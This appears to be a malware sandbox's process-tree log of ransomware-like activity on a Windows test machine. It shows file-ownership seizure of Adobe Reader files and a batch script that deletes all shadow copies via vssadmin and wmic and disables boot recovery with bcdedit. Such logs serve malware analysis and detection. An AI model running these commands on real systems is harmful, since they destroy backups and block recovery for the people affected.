C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CourierStd.otf" -nobanner3⤵PID:1528
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CourierStd.otf" -nobanner4⤵PID:1756
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1292
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm""2⤵PID:208
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm" /E /G Admin:F /C3⤵PID:1280
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm"3⤵PID:216
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "zx______.pfm" -nobanner3⤵PID:1456
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "zx______.pfm" -nobanner4⤵PID:2024
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:204
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt""2⤵PID:1512
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt" /E /G Admin:F /C3⤵PID:2004
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt"3⤵PID:1780
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "DisplayLanguageNames.en_US_POSIX.txt" -nobanner3⤵PID:568
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "DisplayLanguageNames.en_US_POSIX.txt" -nobanner4⤵PID:1508
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:220
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx""2⤵PID:1404
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx" /E /G Admin:F /C3⤵PID:684
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx"3⤵PID:996
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "can32.clx" -nobanner3⤵PID:896
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "can32.clx" -nobanner4⤵PID:1292
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1520
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt""2⤵PID:1684
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt" /E /G Admin:F /C3⤵PID:224
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt"3⤵PID:1396
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "symbol.txt" -nobanner3⤵PID:1268
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "symbol.txt" -nobanner4⤵PID:204
-
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {D8E15E70-1B60-40A8-91C1-D9E92ED3F785} S-1-5-21-1405931862-909307831-4085185274-1000:GZAATBZA\Admin:Interactive:[1]1⤵PID:1256
-
C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\uPda0AUx.bat"2⤵PID:1248
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
PID:1536
-
-
C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1200
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:212
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
PID:1632
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F3⤵PID:1528
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:480
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "ROMANIAN.TXT" -nobanner1⤵PID:1396